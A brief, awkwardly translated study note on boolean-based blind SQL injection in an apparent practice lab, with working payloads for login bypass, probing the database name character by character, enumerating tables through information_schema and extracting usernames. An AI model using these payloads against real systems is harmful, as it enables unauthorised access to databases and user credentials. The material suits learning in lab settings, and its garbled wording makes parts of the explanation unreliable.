sql injection boolean based blind injection

1. Various judgments were made, and no mistakes were made. Use the universal statement to log in successfully. 
2. There is no echo, so make a blind note based on Boolean value 
. 3. It is wrong to use or password. So use or is similar to the principle of 1=1 

Syntax : 
report database 
1, uname=111' or(select ascii(substr(database(),1,1))>100)#&passwd=&submit=Submit 
package table name: 
( select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1) 
3 is to guess the field: 
select * from * 
uname=1' or (select ascii(substr((select username from users limit 0,1),1,1) )<100)#&passwd=&submit=Submit 
on the importance of linit 0,1. 

# limit 0,1, start from the 0th data in your table, only read one;